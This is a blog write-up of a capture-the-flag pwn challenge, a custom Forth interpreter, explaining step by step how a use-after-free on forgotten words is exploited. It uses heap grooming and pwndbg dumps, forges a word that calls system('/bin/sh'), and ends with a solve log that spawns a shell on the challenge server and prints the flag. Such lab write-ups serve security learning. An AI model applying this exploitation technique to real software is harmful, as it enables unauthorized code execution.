/root/blog/forth_pwn!
no stack smashing tho...

yay!! b01lersCTF time!!

wow, cool pwn... spelling-bee

what's the description?

“forth pwn”...

wait...

FORTH PWN????

Ah, nevermind, this is not a pwn written in forth, this is a pwn of a custom forth evaluator. Would be funny though.

TL;DR

The binary is a forth evaluator (compiler? interpreter?) which allows us to define custom words and later forget them.
If we: ref still holds a reference to the now deallocated freed word. This gives us a simple use-after-free, which we exploit by doing some heap feng shui by defining words with specific names, and these fill freed with a shell call. Calling ref invokes the “corrupted” word, popping a shell. Yippee!

Overview

First step, obviously:

spelling-bee $ pwn checksec chall
[*] '/home/pingotux/ctf/spelling-bee/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

The code doesn't use any stack arrays, so the canary is expected to be off. The source is provided but is quite long (~500 lines), so I'll be showing parts of it. You can go check the full code on your own.

The libc used is glibc 2.36, a relatively modern release. New enough to have a tcache.

The challenge implements the nifty stack-based programming language called Forth. Two stacks are used - one for return addresses from word calls, and one for data. The initial word selection is quite limited - : to start a new word definition, ; to end a definition and forget to remove a word; some simple stack manipulation instructions, two printing functions and a single arithmetic operator, +.

...

  dict_t *dict = NULL;
  add_primitive(&dict, ":", _col, WF_IMM);
  add_primitive(&dict, ";", _semicolon, WF_IMM);
  add_primitive(&dict, "forget", _forget, WF_IMM);
  add_primitive(&dict, "drop", _drop, 0);
  add_primitive(&dict, "+", _add, 0);
  add_primitive(&dict, "dup", _dup, 0);
  add_primitive(&dict, "2dup", _2dup, 0);
  add_primitive(&dict, "?dup", _qdup, 0);
  add_primitive(&dict, "over", _over, 0);
  add_primitive(&dict, "2over", _2over, 0);
  add_primitive(&dict, "rot", _rot, 0);
  add_primitive(&dict, "swap", _swap, 0);
  add_primitive(&dict, "2swap", _2swap, 0);
  add_primitive(&dict, ".", _dot, 0);
  add_primitive(&dict, ".s", _sdot, 0);

...

One might also notice a peculiar function which is never used in the code. It's address is also handily printed at the beginning of the program, bypassing PIE.

void dosys(char *val) {
  system(val);
  NEXT;
}

Moreover, all the stack manipulation we can do is implemented with strict boundary checks. Under the hood, these words use only three macros in various ways: TOP(n), POP() and PUSH(x). They expand to these three functions respectively:

...

static inline cell *stack_top_ptr(int offset) {
  if (offset < 0 || offset >= g_sp) {
    panic("data stack underflow");
  }
  return &g_stack[g_sp - offset];
}

static inline cell stack_pop(void) {
  if (g_sp <= 0) {
    panic("data stack underflow");
  }
  return g_stack[g_sp--];
}

static inline void stack_push(cell value) {
  if (g_sp >= STACK_SIZE - 1) {
    panic("data stack overflow");
  }
  g_stack[++g_sp] = value;
}

...

It seems like all these stack manipulation functions are useless. You'd be right. (check Appendix A at the end of the writeup)

Looking at the definition of the word_t struct, it has a referenced_by field which is properly incremented when referenced, but this field is never checked when forgetting the word:

...

typedef struct word {
  long flags;
  long length;
  long referenced_by;
  void (*code)(void *);
  void *param;
} word_t;

...

bool delete_word(dict_t **dict, char *name) {
  dict_t **pp = dict;
  dict_t *cur = *dict;
  while (cur) {
    if (strcmp(name, cur->name) == 0) {

      word_t *w = cur->word;
      if (w->flags & WF_MALLOC_PARAM) {
        free(w->param);
      }
      free(w);
      if (cur->alloc_name) {
        free(cur->name);
      }

      *pp = cur->next;
      free(cur);

      return true;
    }
    pp = &(cur->next);
    cur = cur->next;
  }
  return false;
}

...

If we were to forget a word while it was referenced elsewhere, that'd be a use-after-free waiting for us. Indeed, doing so and calling the word with the reference results in a segfault.

Exploitation - basics

Let's warm up by checking the order of allocations when creating a new word:
  1. the name of our word,
  2. a parameter list with 16 blank entries,
  3. the word_t for our word, and finally,
  4. the dict_t for our word.
Here's our heap after these allocations. Hover over the underlined addresses to see where they refer to, so you get a feeling for the heap's layout. If an address is far away, click it to jump there.
pwndbg> vis
          ...
0x563307eba830	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba840	0x00005632cbb310e4	0x0000563307eba810	....2V......3V..    (.s - dict_t)
0x563307eba850	0x0000563307eba7e0	0x0000000000000000	....3V..........
0x563307eba860	0x0000000000000000	0x0000000000000021	........!.......
0x563307eba870	0x0000006465657266	0x0000000000000000	freed...........    (freed - char[] name)
0x563307eba880	0x0000000000000000	0x0000000000000091	................
0x563307eba890	0x0000563307eba2a0	0x0000000000000000	....3V..........    (freed - word_t** param)
0x563307eba8a0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307eba900	0x0000000000000000	0x0000000000000000	................
0x563307eba910	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba920	0x0000000000000002	0x0000000000000001	................    (freed - word_t)
0x563307eba930	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307eba940	0x0000563307eba890	0x0000000000000031	....3V..1.......
0x563307eba950	0x0000563307eba870	0x0000563307eba920	p...3V.. ...3V..    (freed - dict_t)
0x563307eba960	0x0000563307eba840	0x0000000000000001	@...3V..........
0x563307eba970	0x0000000000000000	0x0000000000020691	................  <-- Top chunk
pwndbg> c
Continuing.

Not much going on for now, so let's make a new word with a reference, like this: : reference freed ;

The heap acts normal; there aren't even any free chunks to take yet. reference's argument list includes two words: freed's word_t and the generic return function.

pwndbg> vis
          ...
0x563307eba830	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba840	0x00005632cbb310e4	0x0000563307eba810	....2V......3V..    (.s - dict_t)
0x563307eba850	0x0000563307eba7e0	0x0000000000000000	....3V..........
0x563307eba860	0x0000000000000000	0x0000000000000021	........!.......
0x563307eba870	0x0000006465657266	0x0000000000000000	freed...........    (freed - char[] name)
0x563307eba880	0x0000000000000000	0x0000000000000091	................
0x563307eba890	0x0000563307eba2a0	0x0000000000000000	....3V..........    (freed - word_t** param)
0x563307eba8a0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307eba900	0x0000000000000000	0x0000000000000000	................
0x563307eba910	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba920	0x0000000000000002	0x0000000000000001	................    (freed - word_t, reference->param[0])
0x563307eba930	0x0000000000000001	0x00005632cbb2f41e	............2V..
0x563307eba940	0x0000563307eba890	0x0000000000000031	....3V..1.......
0x563307eba950	0x0000563307eba870	0x0000563307eba920	p...3V.. ...3V..    (freed - dict_t)
0x563307eba960	0x0000563307eba840	0x0000000000000001	@...3V..........
0x563307eba970	0x0000000000000000	0x0000000000000021	........!.......
0x563307eba980	0x636e657265666572	0x0000000000000065	reference.......    (reference - char[] name)
0x563307eba990	0x0000000000000000	0x0000000000000091	................
0x563307eba9a0	0x0000563307eba920	0x0000563307eba2a0	 ...3V......3V..    (reference - word_t** param)
0x563307eba9b0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebaa10	0x0000000000000000	0x0000000000000000	................
0x563307ebaa20	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebaa30	0x0000000000000002	0x0000000000000002	................    (reference - word_t)
0x563307ebaa40	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebaa50	0x0000563307eba9a0	0x0000000000000031	....3V..1.......
0x563307ebaa60	0x0000563307eba980	0x0000563307ebaa30	....3V..0...3V..    (reference - dict_t)
0x563307ebaa70	0x0000563307eba950	0x0000000000000001	P...3V..........
0x563307ebaa80	0x0000000000000000	0x0000000000020581	................  <-- Top chunk
pwndbg> c
Continuing.

We'll also define a dummy word to create a couple chunks and its name should fit in an 0x30 sized chunk. For the sake of brevity, this chunk is referred to as atbfn. It will come in handy later; for now, observe how it's name is the same size as a word_t.

To initiate the UAF, let's forget freed, leaving an invalid reference in reference's argument list.

pwndbg> vis
          ...
0x563307eba830	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba840	0x00005632cbb310e4	0x0000563307eba810	....2V......3V..    (.s - dict_t)
0x563307eba850	0x0000563307eba7e0	0x0000000000000000	....3V..........
0x563307eba860	0x0000000000000000	0x0000000000000021	........!.......
0x563307eba870	0x0000000563307eba	0xa071bf23daf5dc17	.~0c........#.q.  <-- tcachebins[0x20][0/1]
0x563307eba880	0x0000000000000000	0x0000000000000091	................
0x563307eba890	0x0000000563307eba	0xa071bf23daf5dc17	.~0c........#.q.  <-- tcachebins[0x90][0/1]
0x563307eba8a0	0x0000000000000000	0x0000000000000000	................      '-> reference->param[0]->param - word_t**
          ...
0x563307eba900	0x0000000000000000	0x0000000000000000	................
0x563307eba910	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba920	0x0000000563307eba	0xa071bf23daf5dc17	.~0c........#.q.  <-- tcachebins[0x30][1/2]
0x563307eba930	0x0000000000000001	0x00005632cbb2f41e	............2V..      '-> !! reference->param[0] - word_t !!
0x563307eba940	0x0000563307eba890	0x0000000000000031	....3V..1.......
0x563307eba950	0x0000563664dbd79a	0xa071bf23daf5dc17	...d6V......#.q.  <-- tcachebins[0x30][0/2]
0x563307eba960	0x0000563307eba840	0x0000000000000001	@...3V..........
0x563307eba970	0x0000000000000000	0x0000000000000021	........!.......
0x563307eba980	0x636e657265666572	0x0000000000000065	reference.......    (reference - char[] name)
0x563307eba990	0x0000000000000000	0x0000000000000091	................
0x563307eba9a0	0x0000563307eba920	0x0000563307eba2a0	 ...3V......3V..    (reference - word_t** param)
0x563307eba9b0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebaa10	0x0000000000000000	0x0000000000000000	................
0x563307ebaa20	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebaa30	0x0000000000000002	0x0000000000000002	................    (reference - word_t)
0x563307ebaa40	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebaa50	0x0000563307eba9a0	0x0000000000000031	....3V..1.......
0x563307ebaa60	0x0000563307eba980	0x0000563307ebaa30	....3V..0...3V..    (reference - dict_t)
0x563307ebaa70	0x0000563307eba840	0x0000000000000001	@...3V..........
0x563307ebaa80	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebaa90	0x6568636163745f61	0x6c69665f6e69625f	a_tcache_bin_fil    (atbfn - char[] name)
0x563307ebaaa0	0x6d616e5f676e696c	0x0000000000000065	ling_name.......
0x563307ebaab0	0x0000000000000000	0x0000000000000091	................
0x563307ebaac0	0x0000563307eba2a0	0x0000000000000000	....3V..........    (atbfn - word_t** param)
0x563307ebaad0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebab30	0x0000000000000000	0x0000000000000000	................
0x563307ebab40	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebab50	0x0000000000000002	0x0000000000000001	................    (atbfn - word_t)
0x563307ebab60	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebab70	0x0000563307ebaac0	0x0000000000000031	....3V..1.......
0x563307ebab80	0x0000563307ebaa90	0x0000563307ebab50	....3V..P...3V..    (atbfn - dict_t)
0x563307ebab90	0x0000563307ebaa60	0x0000000000000001	`...3V..........
0x563307ebaba0	0x0000000000000000	0x0000000000020461	........a.......  <-- Top chunk
pwndbg> c
Continuing.

Dangerous!

Exploitation - feng shui
the filler episode

Now, we'll forget atbfn as well.

This is the state of the tcachebins after these two deletions - we'll ignore the 0x20 bin as it isn't relevant for the exploit at all, and we'll also ignore the 0x90 bin as it comes in handy later. I'll abbreviate the heap addresses as just their last three nibbles.

tcachebin
[sz: 0x20]
b80atbfn - dict_t a90atbfn - name b50atbfn - word_t 950freed - dict_t 920freed - word_t

We defined and forgot atbfn to create three new 0x30 chunks in the tcache. Now, our old word_t which still lies in reference is at index 4. We can "pop" 4 tcache entries by creating two blank words with short names. For each of these, a word_t and a dict_t will be created, both of which having a size of 0x30. Creating these two words leaves us with this tcache setup:

tcachebin
[sz: 0x20]
920freed - word_t

If the next word we create has a name which fits in an 0x30 chunk, that name becomes the new reference's parameter word! The first three qwords have no meaning when referenced as a parameter, so we can fill them with some good ol' 0x41, padding up until the code entry of the struct. We replace the code entry with dosys, and all that separates us from a shell is the parameter for the system(val) call.

pwndbg> vis
          ...
0x563307eba830	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba840	0x00005632cbb310e4	0x0000563307eba810	....2V......3V..    (.s - dict_t)
0x563307eba850	0x0000563307eba7e0	0x0000000000000000	....3V..........
0x563307eba860	0x0000000000000000	0x0000000000000021	........!.......
0x563307eba870	0x003172656c6c6966	0x0000000000000000	filler1.........    (filler1 - char[] name)
0x563307eba880	0x0000000000000000	0x0000000000000091	................
0x563307eba890	0x0000563307eba2a0	0x0000000000000000	....3V..........    (filler2 - word_t** param)
0x563307eba8a0	0x0000000000000000	0x0000000000000000	................      '-> reference->param[0]->param - char[]
          ...
0x563307eba900	0x0000000000000000	0x0000000000000000	................
0x563307eba910	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba920	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA    (fake_dosys_word - char[] name)
0x563307eba930	0x4141414141414141	0x00005632cbb2f46b	AAAAAAAAk...2V..      '-> reference->param[0] - word_t
0x563307eba940	0x0000563307eba890	0x0000000000000031	....3V..1.......
0x563307eba950	0x0000563307ebabb0	0x0000563307ebab50	....3V..P...3V..    (filler2 - dict_t)
0x563307eba960	0x0000563307ebaa90	0x0000000000000001	....3V..........
0x563307eba970	0x0000000000000000	0x0000000000000021	........!.......
0x563307eba980	0x636e657265666572	0x0000000000000065	reference.......    (reference - char[] name)
0x563307eba990	0x0000000000000000	0x0000000000000091	................
0x563307eba9a0	0x0000563307eba920	0x0000563307eba2a0	 ...3V......3V..    (reference - word_t** param)
0x563307eba9b0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebaa10	0x0000000000000000	0x0000000000000000	................
0x563307ebaa20	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebaa30	0x0000000000000002	0x0000000000000002	................    (reference - word_t)
0x563307ebaa40	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebaa50	0x0000563307eba9a0	0x0000000000000031	....3V..1.......
0x563307ebaa60	0x0000563307eba980	0x0000563307ebaa30	....3V..0...3V..    (reference - dict_t)
0x563307ebaa70	0x0000563307eba840	0x0000000000000001	@...3V..........
0x563307ebaa80	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebaa90	0x0000563307eba870	0x0000563307ebab80	p...3V......3V..    (filler1 - dict_t)
0x563307ebaaa0	0x0000563307ebaa60	0x0000000000000001	`...3V..........
0x563307ebaab0	0x0000000000000000	0x0000000000000091	................
0x563307ebaac0	0x0000563307eba2a0	0x0000000000000000	....3V..........    (filler1 - word_t** param)
0x563307ebaad0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebab30	0x0000000000000000	0x0000000000000000	................
0x563307ebab40	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebab50	0x0000000000000002	0x0000000000000001	................    (filler2 - word_t)
0x563307ebab60	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebab70	0x0000563307eba890	0x0000000000000031	....3V..1.......
0x563307ebab80	0x0000000000000002	0x0000000000000001	................    (filler1 - word_t)
0x563307ebab90	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebaba0	0x0000563307ebaac0	0x0000000000000021	....3V..!.......
0x563307ebabb0	0x003272656c6c6966	0x0000000000000000	filler2.........    (filler2 - char[] name)
0x563307ebabc0	0x0000000000000000	0x0000000000000091	................
0x563307ebabd0	0x0000563307eba2a0	0x0000000000000000	....3V..........    (fake_dosys_word - word_t** param)
0x563307ebabe0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebac40	0x0000000000000000	0x0000000000000000	................
0x563307ebac50	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebac60	0x0000000000000002	0x0000000000000001	................    (fake_dosys_word - word_t)
0x563307ebac70	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebac80	0x0000563307ebabd0	0x0000000000000031	....3V..1.......
0x563307ebac90	0x0000563307eba920	0x0000563307ebac60	 ...3V..`...3V..    (fake_dosys_word - dict_t)
0x563307ebaca0	0x0000563307eba950	0x0000000000000001	P...3V..........
0x563307ebacb0	0x0000000000000000	0x0000000000020351	........Q.......	 <-- Top chunk
pwndbg> c
Continuing.

Thankfully, that isn't that difficult either. The word_t's params are already in the heap, just in an 0x90 chunk. Let's revisit the tcaches as they were at the start of our feng shui maneuvers, just like we looked at the 0x30 bin, this time with the 0x90 sized bin.

tcachebin
[sz: 0x90]
ac0atbfn - params 890freed - params

As mentioned before, we created two filler words (which I called filler1 and filler2). Each of these needed their own param array, and since the tcache is a singly linked list, filler1 got the ac0 param array and filler2 got the 890 param array, which is also the param array of freed, thus also the param string of our dosys call!

All we have to do now is forget filler2 and allocate a word with an 0x90 large name chunk, which will be our system(val) param!

But wait. /bin/sh is just 7 bytes, 8 if we include the null terminator. How do we push it to fill such a large chunk?

...

Just prepend 120 slashes or so. The path doesn't care how rooted it is, as long as it's at least once, it's fine. Lots of /./. or /bin/.. repetition would also work.

pwndbg> vis
          ...
0x563307eba830	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba840	0x00005632cbb310e4	0x0000563307eba810	....2V......3V..    (.s - dict_t)
0x563307eba850	0x0000563307eba7e0	0x0000000000000000	....3V..........
0x563307eba860	0x0000000000000000	0x0000000000000021	........!.......
0x563307eba870	0x003172656c6c6966	0x0000000000000000	filler1.........    (filler1 - char[] name)
0x563307eba880	0x0000000000000000	0x0000000000000091	................
0x563307eba890	0x2f2f2f2f2f2f2f2f	0x2f2f2f2f2f2f2f2f	////////////////    (sys_args - char[] name)
0x563307eba8a0	0x2f2f2f2f2f2f2f2f	0x2f2f2f2f2f2f2f2f	////////////////      '-> reference->param[0]->param - char[]
0x563307eba8b0	0x2f2f2f2f2f2f2f2f	0x2f2f2f2f2f2f2f2f	////////////////
0x563307eba8c0	0x2f2f2f2f2f2f2f2f	0x2f2f2f2f2f2f2f2f	////////////////
0x563307eba8d0	0x2f2f2f2f2f2f2f2f	0x2f2f2f2f2f2f2f2f	////////////////
0x563307eba8e0	0x2f2f2f2f2f2f2f2f	0x2f2f2f2f2f2f2f2f	////////////////
0x563307eba8f0	0x2f2f2f2f2f2f2f2f	0x2f2f2f2f2f2f2f2f	////////////////
0x563307eba900	0x622f2f2f2f2f2f2f	0x00000068732f6e69	///////bin/sh...
0x563307eba910	0x0000000000000000	0x0000000000000031	........1.......
0x563307eba920	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA    (fake_dosys_word - char[] name)
0x563307eba930	0x4141414141414141	0x00005632cbb2f46b	AAAAAAAAk...2V..      '-> reference->param[0] - word_t
0x563307eba940	0x0000563307eba890	0x0000000000000031	....3V..1.......
0x563307eba950	0x0000000000000002	0x0000000000000001	................    (sys_args - word_t)
0x563307eba960	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307eba970	0x0000563307ebacc0	0x0000000000000021	....3V..!.......
0x563307eba980	0x636e657265666572	0x0000000000000065	reference.......    (reference - char[] name)
0x563307eba990	0x0000000000000000	0x0000000000000091	................
0x563307eba9a0	0x0000563307eba920	0x0000563307eba2a0	 ...3V......3V..    (reference - word_t** param)
0x563307eba9b0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebaa10	0x0000000000000000	0x0000000000000000	................
0x563307ebaa20	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebaa30	0x0000000000000002	0x0000000000000002	................    (reference - word_t)
0x563307ebaa40	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebaa50	0x0000563307eba9a0	0x0000000000000031	....3V..1.......
0x563307ebaa60	0x0000563307eba980	0x0000563307ebaa30	....3V..0...3V..    (reference - dict_t)
0x563307ebaa70	0x0000563307eba840	0x0000000000000001	@...3V..........
0x563307ebaa80	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebaa90	0x0000563307eba870	0x0000563307ebab80	p...3V......3V..    (filler1 - dict_t)
0x563307ebaaa0	0x0000563307ebaa60	0x0000000000000001	`...3V..........
0x563307ebaab0	0x0000000000000000	0x0000000000000091	................
0x563307ebaac0	0x0000563307eba2a0	0x0000000000000000	....3V..........    (filler1 - word_t** param)
0x563307ebaad0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebab30	0x0000000000000000	0x0000000000000000	................
0x563307ebab40	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebab50	0x0000563307eba890	0x0000563307eba950	....3V..P...3V..    (sys_args - dict_t)
0x563307ebab60	0x0000563307ebac90	0x00005632cbb2f401	....3V......2V..
0x563307ebab70	0x0000563307eba890	0x0000000000000031	....3V..1.......
0x563307ebab80	0x0000000000000002	0x0000000000000001	................    (filler1 - word_t)
0x563307ebab90	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebaba0	0x0000563307ebaac0	0x0000000000000021	....3V..!.......
0x563307ebabb0	0x0000000563307eba	0xa071bf23daf5dc17	.~0c........#.q.  <-- tcachebins[0x20][0/1]
0x563307ebabc0	0x0000000000000000	0x0000000000000091	................
0x563307ebabd0	0x0000563307eba2a0	0x0000000000000000	....3V..........    (fake_dosys_word - word_t** param)
0x563307ebabe0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebac40	0x0000000000000000	0x0000000000000000	................
0x563307ebac50	0x0000000000000000	0x0000000000000031	........1.......
0x563307ebac60	0x0000000000000002	0x0000000000000001	................    (fake_dosys_word - word_t)
0x563307ebac70	0x0000000000000000	0x00005632cbb2f41e	............2V..
0x563307ebac80	0x0000563307ebabd0	0x0000000000000031	....3V..1.......
0x563307ebac90	0x0000563307eba920	0x0000563307ebac60	 ...3V..`...3V..    (fake_dosys_word - dict_t)
0x563307ebaca0	0x0000563307ebaa90	0x0000000000000001	....3V..........
0x563307ebacb0	0x0000000000000000	0x0000000000000091	................
0x563307ebacc0	0x0000563307eba2a0	0x0000000000000000	....3V..........    (sys_args - word_t** param)
0x563307ebacd0	0x0000000000000000	0x0000000000000000	................
          ...
0x563307ebad30	0x0000000000000000	0x0000000000000000	................
0x563307ebad40	0x0000000000000000	0x00000000000202c1	................  <-- Top chunk
pwndbg> c
Continuing.

And that's the setup done! Calling reference in the interactive interpreter will call our forged word, which will now pop us a shell.

For reference, here's the solve in action:

spelling-bee $ ./sol.py REMOTE
[*] '/home/wherever/it/is/spelling-bee/chall_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No
[*] '/home/wherever/it/is/spelling-bee/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] Opening connection to spelling-bee.opus4-7.b01le.rs on port 8443: Done
[*] 0x5a9e75aab46b
[*] Switching to interactive mode
defined a new word freed
defined a new word reference
defined a new word a_tcache_bin_filling_name
forgot word freed
forgot word a_tcache_bin_filling_name
defined a new word filler1
defined a new word filler2
defined a new word AAAAAAAAAAAAAAAAAAAAAAAAk\xb4\xaau\x9eZ
forgot word filler2
defined a new word ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////bin/sh
$ reference
$ cat flag.txt
bctf{1_h473_f0r63771n6_w0rd5_j5475v25fwpck}$
[*] Closed connection to spelling-bee.opus4-7.b01le.rs port 8443
spelling-bee $

Conclusion
but is it really?

It had been a while since I had last solved a heap pwn, so a blatant UAF with relatively simple heap grooming was a nice return!

I say blatant now.

In reality, I did not solve this challenge during the ctf. I stared at everything in the code but completely missed the fact that words persist in references. I was so lost, that after the ctf had ended, I asked (:nauseated_face:) an AI (:face_vomiting:) for a hint. It was immediately obvious to me what the vulnerability was after likely about 10 tokens of output.

Tunnel vision set aside, this was a really fun challenge! I'd like to thank the b01lersCTF orga for putting together an amazing CTF! Our team (DragonSec SI) really enjoyed humanity-check :)

Just like the last blog post, this writeup is entirely HTML+CSS! Yes, even the hover effects which are linked between areas of the heap. I'd like to thank rebane2001 for inspiring the pwndbg hover effects, the CSS here functions nearly identically to hers. This ~17kB (compressed) page is not minified at all, so be curious, open up inspect element, and take a peek! :3

Appendix A: Turn around while you can
or: regex isn't the only one who should backtrack often

Remember the part where we forgot filler2 to replace the system(val) parameter? Well, my first idea was to replace the param pointer in the actual word_t, and point it to the data stack. Getting the address of the data stack was trivial; it is at a static offset from the leaked do_sys. Actually moving the params? Easier said than done.

Since the name gets copied with a strcpy, any null bytes we wish to send come only from the terminator, and everything after gets discarded.This meant that instead of sending the code and parameter at once, I had to do two name replacements.

More than two. The code pointer has two null bytes at the address (thus end of the string), so another name replacement in between the two was simply guranteeing that the last byte of the address was the null byte.

Getting /bin/sh onto the stack was also easier said than done. The stack is made up of 64-bit integers, but accept_integer returns an int32. I tried to get sneaky by chaining many dups and +-es to assemble the upper- and lower 32 bits of the string, then add them together.

Failure as well. + also adds two 32-bit integers, but pushes that integer casted to 64 bits.

At any one of these points could I have realized there was a much easier way. I reached that realization at the last possible moment.

Thanks for reading!